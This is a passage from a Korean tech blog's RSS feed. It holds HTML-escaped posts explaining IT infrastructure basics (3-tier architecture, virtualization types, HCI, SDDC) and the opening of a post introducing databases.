this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;699&quot; height=&quot;443&quot; data-origin-width=&quot;699&quot; data-origin-height=&quot;443&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;개발자와 인프라 엔지니어 관점의 3-Tier 아키텍처 차이&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 65.9298%; height: 64px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 16.4651%; height: 16px; text-align: center;&quot;&gt;&lt;b&gt;Platform&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 16.1317%; height: 16px; text-align: center;&quot;&gt;&lt;b&gt;Infra&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 16.4651%; height: 16px;&quot;&gt;Web Server&lt;/td&gt;
&lt;td style=&quot;width: 16.1317%; height: 16px;&quot;&gt;Compute&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 16.4651%; height: 16px;&quot;&gt;WAS(Web Application Server)&lt;/td&gt;
&lt;td style=&quot;width: 16.1317%; height: 16px;&quot;&gt;Network&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 16.4651%; height: 16px;&quot;&gt;DB&lt;/td&gt;
&lt;td style=&quot;width: 16.1317%; height: 16px;&quot;&gt;Storage&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버 - 스위치 - 스토리지 vs 컴퓨팅 - 네트워크 - 스토리지&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 101.164%; height: 64px;&quot; border=&quot;1&quot; data-ke-style=&quot;style12&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 14.7409%; height: 16px; text-align: center;&quot;&gt;&lt;b&gt;기능적 계층&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 27.5056%; height: 16px; text-align: center;&quot;&gt;&lt;b&gt;물리적 장비 표현&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 43.0716%; text-align: center;&quot;&gt;&lt;b&gt;설명&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 14.7409%; height: 16px;&quot;&gt;컴퓨팅(Compute)&lt;/td&gt;
&lt;td style=&quot;width: 27.5056%; height: 16px;&quot;&gt;서버(Server)&lt;/td&gt;
&lt;td style=&quot;width: 43.0716%;&quot;&gt;애플리케이션, 가상머신, 컨테이너 등을 실행, CPU, RAM 중심 자원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 14.7409%; height: 16px;&quot;&gt;네트워크(Network)&lt;/td&gt;
&lt;td style=&quot;width: 27.5056%; height: 16px;&quot;&gt;스위치, 라우터&lt;/td&gt;
&lt;td style=&quot;width: 43.0716%;&quot;&gt;서버와 스토리지, 사용자 단말 간 데이터 흐름 제어&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 14.7409%; height: 16px;&quot;&gt;스토리지(Storage)&lt;/td&gt;
&lt;td style=&quot;width: 27.5056%; height: 16px;&quot;&gt;스토리지 어플라이언스, NAS, SAN&lt;/td&gt;
&lt;td style=&quot;width: 43.0716%;&quot;&gt;데이터 저장 장치, 디스크, SSD&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;표현 차이에 따른 사용 맥락&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100.932%; height: 47px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 19.7444%; height: 16px; text-align: center;&quot;&gt;&lt;b&gt;용어&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 31.6668%; height: 16px; text-align: center;&quot;&gt;&lt;b&gt;사용 맥락&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 33.6738%; text-align: center; height: 16px;&quot;&gt;&lt;b&gt;예시&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 15px;&quot;&gt;
&lt;td style=&quot;width: 19.7444%; height: 15px;&quot;&gt;서버 - 스위치 - 스토리지&lt;/td&gt;
&lt;td style=&quot;width: 31.6668%; height: 15px;&quot;&gt;실제 장비 설치, 배선, 조달 등 &lt;b&gt;물리 인프라 설계&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 33.6738%; height: 15px;&quot;&gt;데이터센터 구축, 하드웨어 벤더 도입 문서&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 19.7444%; height: 16px;&quot;&gt;컴퓨팅 - 네트워크 - 스토리지&lt;/td&gt;
&lt;td style=&quot;width: 31.6668%; height: 16px;&quot;&gt;아키텍처, 리소스 할당, &lt;b&gt;가상화/클라우드 설계&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 33.6738%; height: 16px;&quot;&gt;VMWare, k8s 노드 구성, IaaS 리소스 모델링&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버 - 스위치 - 스토리지 = 철근 - 배선 - 창고 / 건물 구성 요소 / 물리적 관점&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;컴퓨팅 - 네트워크 - 스토리지 = 운영 - 통신 - 보관 / 건물의 역할 / 논리적 관점&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;IT 인프라 가상화 기술&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 가상화: Virtualization, &lt;b&gt;물리적인 리소스&lt;/b&gt;(서버, 스토리지, 네트워크 등)&lt;b&gt;를 추상화하여&lt;/b&gt; &lt;b&gt;가상 환경을 생성하고 사용하는 기술&lt;/b&gt;, 하드웨어 리소스를 효율적으로 활용하고 비용을 절감할 수 있음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 대표적인 가상화 기술: 서버 가상화, 데스크탑 가상화, 네트워크 가상화, 스토리지 가상화&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1258&quot; data-origin-height=&quot;327&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/brvDwf/btsNQ3PtGJL/tUJ0jTisASueoCOVFk3Yw0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/brvDwf/btsNQ3PtGJL/tUJ0jTisASueoCOVFk3Yw0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/brvDwf/btsNQ3PtGJL/tUJ0jTisASueoCOVFk3Yw0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbrvDwf%2FbtsNQ3PtGJL%2FtUJ0jTisASueoCOVFk3Yw0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1258&quot; height=&quot;327&quot; data-origin-width=&quot;1258&quot; data-origin-height=&quot;327&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 서버 가상화: 하이퍼바이저(Hypervisor)를 통해 가상머신을 생성, 여러개의 OS를 운영하는 기술&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 물리 서버 위에 하이퍼바이저를 깔고, 그 위에 가상머신을 여러개 생성&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;665&quot; data-origin-height=&quot;252&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bIdCaV/btsNSJKDv39/bSoOKx9DCPsmINGDfyHwoK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bIdCaV/btsNSJKDv39/bSoOKx9DCPsmINGDfyHwoK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bIdCaV/btsNSJKDv39/bSoOKx9DCPsmINGDfyHwoK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbIdCaV%2FbtsNSJKDv39%2FbSoOKx9DCPsmINGDfyHwoK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;665&quot; height=&quot;252&quot; data-origin-width=&quot;665&quot; data-origin-height=&quot;252&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 데스크탑 가상화: 데이터는 서버에 저장하고, 서버에서 클라이언트에 업무 환경만 제공해 주는 기술 = VDI&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 데스크탑 성능과 상관없이 네트워크 성능만 좋으면 원활한 환경에서 사용 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 은행, 공공기관에서 주로 사용, 서점/도서관의 도서 검색 시스템&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;786&quot; data-origin-height=&quot;351&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/5ejHT/btsNS8pyiAF/0KUixkgIKqPlnaUjPKzvvk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/5ejHT/btsNS8pyiAF/0KUixkgIKqPlnaUjPKzvvk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/5ejHT/btsNS8pyiAF/0KUixkgIKqPlnaUjPKzvvk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F5ejHT%2FbtsNS8pyiAF%2F0KUixkgIKqPlnaUjPKzvvk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;786&quot; height=&quot;351&quot; data-origin-width=&quot;786&quot; data-origin-height=&quot;351&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 네트워크 가상화: 다수의 물리적 네트워크를 하나의 가상 네트워크로 구성해 사용하는 기술 = VLAN, NFV, SDN 등&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 물리적인 네트워크 장비와 연결 상태를 소프트웨어로 정의하고 관리하는 것&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;758&quot; data-origin-height=&quot;529&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/S6Lme/btsNStVjO0u/bDcK1GqIn4Wq8CfUKsWH6k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/S6Lme/btsNStVjO0u/bDcK1GqIn4Wq8CfUKsWH6k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/S6Lme/btsNStVjO0u/bDcK1GqIn4Wq8CfUKsWH6k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FS6Lme%2FbtsNStVjO0u%2FbDcK1GqIn4Wq8CfUKsWH6k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;758&quot; height=&quot;529&quot; data-origin-width=&quot;758&quot; data-origin-height=&quot;529&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 스토리지 가상화: 물리서버의 디스크와 스토리지를 하나의 가상 스토리지 풀로 묶어 사용하는 기술&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 이기종 하드웨어를 하나의 가상 스토리지로 통일&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 각 팀에 맞게 용량을 할당하여 사용 가능&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1195&quot; data-origin-height=&quot;543&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/VLadI/btsNTm9gdDW/4GIdmgKWo7hKLDC7zbXfdK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/VLadI/btsNTm9gdDW/4GIdmgKWo7hKLDC7zbXfdK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/VLadI/btsNTm9gdDW/4GIdmgKWo7hKLDC7zbXfdK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVLadI%2FbtsNTm9gdDW%2F4GIdmgKWo7hKLDC7zbXfdK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1195&quot; height=&quot;543&quot; data-origin-width=&quot;1195&quot; data-origin-height=&quot;543&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;HCI, SDDC&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- HCI(Hyper Converged Infrastructure): 컴퓨팅, 스토리지, 네트워크를 가상화시켜 단일 시스템으로 운영&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 2-Tier 아키텍처 = (컴퓨팅 + 스토리지) + 네트워크&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1157&quot; data-origin-height=&quot;450&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xrdBl/btsNUCDjo06/7twSunpkxpGQzvxPEx3KiK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xrdBl/btsNUCDjo06/7twSunpkxpGQzvxPEx3KiK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xrdBl/btsNUCDjo06/7twSunpkxpGQzvxPEx3KiK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxrdBl%2FbtsNUCDjo06%2F7twSunpkxpGQzvxPEx3KiK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1157&quot; height=&quot;450&quot; data-origin-width=&quot;1157&quot; data-origin-height=&quot;450&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- HCI는 기존 3-Tier 대비 병목 구간을 제거하여 자원 확장 시 성능이 선형적으로 늘어남&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 서버와 스토리지가 통합되어 있으며, 스토리지는 공용 스토리지로 파일이 분산 저장되어 있음&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 서버의 디스크를 공유 스토리지로 구성&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1092&quot; data-origin-height=&quot;515&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bFeNjo/btsNTyIyBcy/SFnURdWgF4KNfkOCyE3EP0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bFeNjo/btsNTyIyBcy/SFnURdWgF4KNfkOCyE3EP0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bFeNjo/btsNTyIyBcy/SFnURdWgF4KNfkOCyE3EP0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbFeNjo%2FbtsNTyIyBcy%2FSFnURdWgF4KNfkOCyE3EP0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1092&quot; height=&quot;515&quot; data-origin-width=&quot;1092&quot; data-origin-height=&quot;515&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 3-Tier 아키텍처는 일정 구간을 지나면 성능 증가폭이 감소(병목 구간으로 인해)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- HCI는 선형적으로 성능이 증가(투자한 만큼 증가) = 스케일 아웃(Scale Out) 아키텍처&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1154&quot; data-origin-height=&quot;527&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dWeB2B/btsNTE27PXN/xsvKewSvujbsSpaXYAoR4K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dWeB2B/btsNTE27PXN/xsvKewSvujbsSpaXYAoR4K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dWeB2B/btsNTE27PXN/xsvKewSvujbsSpaXYAoR4K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdWeB2B%2FbtsNTE27PXN%2FxsvKewSvujbsSpaXYAoR4K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1154&quot; height=&quot;527&quot; data-origin-width=&quot;1154&quot; data-origin-height=&quot;527&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- SDDC(Software Defined Data Center): 데이터 센터 구성 요소의 모든 것을 소프트웨어로 통합 관리&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- &lt;b&gt;SDC + SDS + SDN + Management Platform&lt;/b&gt; 4가지가 모두 포함되어야 진정한 SDDC라고 할 수 있음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- HCI가 수십,수백대가 있는 데이터 센터 = SDDC&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 온프레미스 진화의 끝판왕 = SDDC&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;997&quot; data-origin-height=&quot;419&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EP5vc/btsNVurasga/FskCsq5Y2Sn0BuAZIuIQB1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EP5vc/btsNVurasga/FskCsq5Y2Sn0BuAZIuIQB1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EP5vc/btsNVurasga/FskCsq5Y2Sn0BuAZIuIQB1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEP5vc%2FbtsNVurasga%2FFskCsq5Y2Sn0BuAZIuIQB1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;997&quot; height=&quot;419&quot; data-origin-width=&quot;997&quot; data-origin-height=&quot;419&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;참고&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.inflearn.com/course/%EB%88%84%EA%B5%AC%EB%82%98-%EC%89%BD%EA%B2%8C-%EC%9D%B4%ED%95%B4%ED%95%98%EB%8A%94-it-%EC%9D%B8%ED%94%84%EB%9D%BC-%EA%B8%B0%EC%B4%88&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.inflearn.com/course/%EB%88%84%EA%B5%AC%EB%82%98-%EC%89%BD%EA%B2%8C-%EC%9D%B4%ED%95%B4%ED%95%98%EB%8A%94-it-%EC%9D%B8%ED%94%84%EB%9D%BC-%EA%B8%B0%EC%B4%88&lt;/a&gt;&lt;/p&gt;</description>
      <category>IT 지식/IT 인프라 기초</category>
      <category>3-tier 아키텍처</category>
      <category>IT 인프라</category>
      <category>온프레미스</category>
      <author>Security Engineer</author>
      <guid isPermaLink="true">https://it-log.tistory.com/219</guid>
      <comments>https://it-log.tistory.com/219#entry219comment</comments>
      <pubDate>Mon, 12 May 2025 22:00:35 +0900</pubDate>
    </item>
    <item>
      <title>데이터베이스</title>
      <link>https://it-log.tistory.com/218</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;IT 인프라 기초 3요소&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 서버, 네트워크, 스토리지&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 위 3요소를 기반으로 돌아가는 다양한 소프트웨어가 존재함, DB는 굉장히 중요함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;데이터베이스 개념 및 용어&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 데이터베이스 개념: 여러 사람이 공유하여 사용할 목적으로 체계화해 통합, 관리하는 &lt;b&gt;데이터의 집합&lt;/b&gt;, 응용 프로그램들이 사용하는 정보를 통합 저장하여 운영할 수 있는 공용 데이터들의 묶음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- DB가 사용되는 곳: 게시판 글 작성 시 DB에 저장, 개인정보 및 ID/PW DB에 저장&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 사용자가 특정 웹 사이트에서 결과물을 확인하고 싶으면 서버는 DB에서 저장된 정보를 가져와서 출력해줌&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 엑셀도 일종의 데이터베이스&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;876&quot; data-origin-height=&quot;546&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TiLNs/btsNNxIe56k/KaVkIIfXZnMiURtzsK5Fn1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TiLNs/btsNNxIe56k/KaVkIIfXZnMiURtzsK5Fn1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TiLNs/btsNNxIe56k/KaVkIIfXZnMiURtzsK5Fn1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTiLNs%2FbtsNNxIe56k%2FKaVkIIfXZnMiURtzsK5Fn1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;876&quot; height=&quot;546&quot; data-origin-width=&quot;876&quot; data-origin-height=&quot;546&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
